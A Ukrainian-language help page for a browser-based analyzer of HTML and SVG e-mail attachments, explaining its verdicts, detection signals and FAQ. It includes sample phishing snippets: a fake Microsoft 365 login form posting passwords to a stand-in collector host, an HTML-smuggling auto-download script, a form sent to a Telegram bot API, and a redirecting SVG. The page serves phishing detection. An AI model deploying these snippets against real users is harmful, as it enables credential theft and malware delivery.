Знімайте шари Base64, hex, URL-кодування, gzip і deflate, доки не залишиться читабельний текст.
Аналізатор HTML-вкладень
Сам інструмент доступний англійською мовою; на цій сторінці наведено пояснення вашою мовою.
Використовуйте Аналізатор HTML-вкладень
Як це працює
Завантажте або вставте HTML- чи SVG-вкладення, щоб побачити, що воно зробило б після відкриття: приховані завантаження, форми, що надсилають пароль деінде, перенаправлення, адреси для витоку даних і обфускований код. Файл читається як текст і ніколи не відтворюється й не запускається.
Програма працює повністю у вашому браузері: жодні введені вами дані не завантажуються.
Як користуватися Аналізатор HTML-вкладень
- Не відкривайте файл. Збережіть вкладення .html, .htm, .shtml, .xhtml або .svg, не відкриваючи його, або скопіюйте його вихідний код як текст.
- Завантажте або вставте його. Перетягніть файл у поле чи виберіть його (до 25 МБ) або вставте вихідний код (до 5 МБ) і натисніть Analyze (аналізувати) чи Ctrl+Enter.
- Прочитайте вердикт. Верхній блок показує High risk, Suspicious (підозріло) або No high-risk patterns found (шаблонів високого ризику не знайдено), категорії, що зумовили вердикт, і кількість висновків, IOC та вбудованих блоків.
- Перегляньте висновки. Кожен висновок показує рівень серйозності, категорію, номер рядка й відповідний фрагмент коду зі знешкодженими посиланнями та адресами.
- Експортуйте знайдене. Скопіюйте IOC у знешкодженому чи сирому вигляді або скористайтеся Send to (надіслати до) для IOC Converter, Abuse Report Generator чи, для вбудованого блоку, Multi-Layer Decoder.
Приклад
Форма входу з попередньо заповненою адресою
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…High risk (високий ризик): форма входу надсилає пароль на collector[.]example, заголовок згадує Microsoft 365 поруч із полем для пароля, а скрипт підставляє адресу електронної пошти з фрагмента URL за допомогою atob. Список IOC містить URL збирача та його домен у знешкодженому (defanged) вигляді.
Що перевіряється
| Сигнал | Що це означає |
|---|---|
| HTML smuggling | Високий рівень, коли сторінка збирає файл у пам'яті (Blob із createObjectURL чи посиланням на завантаження або msSaveOrOpenBlob) і пропонує його завантажити. |
| Форми | Будь-яка форма, що надсилає дані на інший сайт, отримує високий рівень, а заголовок повідомляє, якщо вона передає пароль. Таблиця Forms показує, куди надсилає кожна форма, її метод і поля. |
| Адреси для витоку даних | Виклики Telegram Bot API, токени ботів, вебхуки Discord і сервіси збору форм, як-от formspree.io чи webhook.site, отримують високий рівень. |
| Обфускація | atob, unescape, fromCharCode, довгі послідовності escape-символів і результат роботи відомих обфускаторів. Закодовані рядки-літерали декодуються без запуску. |
| Динамічний код | eval, конструктор Function, document.write і присвоєння innerHTML будують код або розмітку під час виконання. |
| Перенаправлення | Зміни location, window.open, meta refresh і читання фрагмента URL, через який фішинг-кити часто передають адресу електронної пошти жертви. |
| Трюки проти аналізу | Заблокований правий клік чи F12, оператори debugger, виявлення інструментів розробника та перевірки на автоматизовані браузери. |
| Вбудований вміст | data: URI, довгі блоки Base64 чи hex і тип файлу, в який вони декодуються, приховані iframe і SVG-файли зі скриптами. |
| Ознаки бренду | Назви брендів у заголовку, логотипах чи посиланнях. Поруч із полем для пароля це отримує середній рівень. |
Ще кілька прикладів
Завантаження, створене в браузері
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>High risk, причина — HTML smuggling: 1 висновок високого рівня (сторінка збирає файл у браузері й пропонує його завантажити) і 4 середнього рівня для atob, new Blob, URL.createObjectURL і атрибута download. IOC немає.
Пароль, надісланий Telegram-боту
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>High risk, причина — Data exfiltration (витік даних): скрипт надсилає дані зі сторінки з полем для пароля на api.telegram.org, плюс висновок про адресу Telegram Bot API. Висновки середнього рівня стосуються fetch, поля для пароля та форми входу без зовнішньої адреси надсилання.
SVG-зображення, що перенаправляє
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>High risk: SVG-файл зі скриптом, плюс перенаправлення середнього рівня та висновок низького рівня для btoa. Ціль показано в розділі Requests and redirects як інший сайт, а URL простору імен XML не включено до IOC.
Часті запитання
Що шукає аналізатор?
Він зіставляє вихідний код із правилами для HTML smuggling (Blob, createObjectURL, msSaveOrOpenBlob, посилання на завантаження, data: URI і довгі блоки Base64), форм і скриптів, що надсилають дані на інші сайти, витоку даних через Telegram і Discord, перенаправлень, прихованих iframe, обфускаторів і трюків проти аналізу. Він також декодує літерали atob, unescape і fromCharCode, не запускаючи їх, і перелічує кожен знайдений URL, домен, IP-адресу та адресу електронної пошти в знешкодженому вигляді.
Чи може він щось пропустити або підняти хибну тривогу?
Так. Зашифрований або згенерований під час виконання код може приховати свою поведінку від статичного аналізу, а звичайні сторінки теж використовують fetch, innerHTML чи вбудовані зображення, тож читайте відповідний фрагмент коду, показаний біля кожного висновку. Для деобфускації та емуляції в пісочниці скористайтеся JS Analyzer.
Чи вивантажується або відкривається файл?
Ні. Файл читається як текст у вашому браузері й ніколи не відтворюється, не виконується і нікуди не надсилається. Приймаються файли до 25 МБ; у дуже великих скануються перші 4 МБ і останній 1 МБ розмітки, а вбудовані блоки підраховуються в усьому файлі.
Чому SVG-зображення перевіряється як вебсторінка?
SVG-файли — це XML, який браузери відкривають як сторінки, тож вони можуть містити скрипти, посилання й вбудований HTML. Зображенню не потрібен скрипт, тому скрипт у SVG отримує високий рівень.
Що таке вбудовані блоки?
Довгі рядки Base64, hex або масиви байтів у файлі. Вони декодуються в пам'яті й позначаються типом файлу, на який перетворюються; ви можете скопіювати блок або надіслати текстовий блок у Multi-Layer Decoder.
Що означають рівні серйозності?
High позначає шаблони, на які покладаються фішингові та шкідливі вкладення, як-от smuggling, адреси для витоку даних чи форма з паролем, що надсилає дані деінде. Medium охоплює техніки, які використовують і звичайні сторінки. Один висновок високого рівня робить вердикт High risk.